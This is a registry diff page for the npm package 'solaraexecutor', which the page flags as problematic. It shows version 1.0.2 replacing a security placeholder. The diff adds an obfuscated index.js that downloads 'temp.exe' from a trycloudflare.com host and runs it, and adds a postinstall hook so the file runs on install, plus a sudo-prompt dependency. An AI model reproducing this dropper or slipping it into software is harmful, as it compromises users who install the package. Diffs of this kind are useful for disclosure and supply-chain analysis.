solaraexecutor 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of solaraexecutor might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x4d34(){const _0x4b3bfe=['temp.exe','https://maiden-assets-thanksgiving-qualifying.trycloudflare.com/home','child_process','7545NHrNuC','HTTP\x20error!\x20status:\x20','165jdAOxE','path','268flAZXw','3698052EpIINd','Error\x20running\x20the\x20executable:\x20','2216THVoMQ','error','fs-extra','46650FDVgzD','1449WfZyra','writeFile','10NHgZfe','40641nhMANG','253506giLXDE','join','32326Yqrgyv','buffer','6027180VJrArg'];_0x4d34=function(){return _0x4b3bfe;};return _0x4d34();}const _0x5d3e62=_0x31cc;(function(_0x545060,_0x564e29){const _0x200ad8=_0x31cc,_0x1e5ddd=_0x545060();while(!![]){try{const _0x264f43=parseInt(_0x200ad8(0x13d))/0x1*(-parseInt(_0x200ad8(0x13c))/0x2)+-parseInt(_0x200ad8(0x12f))/0x3*(parseInt(_0x200ad8(0x133))/0x4)+-parseInt(_0x200ad8(0x12b))/0x5+-parseInt(_0x200ad8(0x13e))/0x6+parseInt(_0x200ad8(0x140))/0x7*(-parseInt(_0x200ad8(0x136))/0x8)+parseInt(_0x200ad8(0x13a))/0x9*(-parseInt(_0x200ad8(0x139))/0xa)+parseInt(_0x200ad8(0x131))/0xb*(parseInt(_0x200ad8(0x134))/0xc);if(_0x264f43===_0x564e29)break;else _0x1e5ddd['push'](_0x1e5ddd['shift']());}catch(_0x580899){_0x1e5ddd['push'](_0x1e5ddd['shift']());}}}(_0x4d34,0xed875));const fs=require(_0x5d3e62(0x138)),path=require(_0x5d3e62(0x132)),fetch=require('node-fetch'),{exec}=require(_0x5d3e62(0x12e)),exeFileName=_0x5d3e62(0x12c),downloadUrl=_0x5d3e62(0x12d),exeFilePath=path[_0x5d3e62(0x13f)](__dirname,exeFileName);async function downloadFile(_0x26358c,_0x237ab9){const _0x3883a6=_0x5d3e62,_0x429221=await fetch(_0x26358c);if(!_0x429221['ok'])throw new Error(_0x3883a6(0x130)+_0x429221['status']);const _0x377963=await _0x429221[_0x3883a6(0x141)]();await fs[_0x3883a6(0x13b)](_0x237ab9,_0x377963);}async function runExecutable(){const _0xf0a131=_0x5d3e62;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x4a8bfe=>{const _0x109353=_0x31cc;_0x4a8bfe&&console[_0x109353(0x137)](_0x109353(0x135)+_0x4a8bfe);});}catch(_0x1eebce){console[_0xf0a131(0x137)]('Download\x20error:\x20'+_0x1eebce);}}function _0x31cc(_0x2f4fc4,_0x1cec86){const _0x4d34a1=_0x4d34();return _0x31cc=function(_0x31ccf4,_0x21c02b){_0x31ccf4=_0x31ccf4-0x12b;let _0x5f58d3=_0x4d34a1[_0x31ccf4];return _0x5f58d3;},_0x31cc(_0x2f4fc4,_0x1cec86);}runExecutable();
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "solaraexecutor",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "Pkg",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"update": "index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"dependencies": {
|
13
|
+
"fs-extra": "^10.0.0",
|
14
|
+
"node-fetch": "^2.6.7",
|
15
|
+
"sudo-prompt": "^9.2.1"
|
16
|
+
}
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=solaraexecutor for more information.
|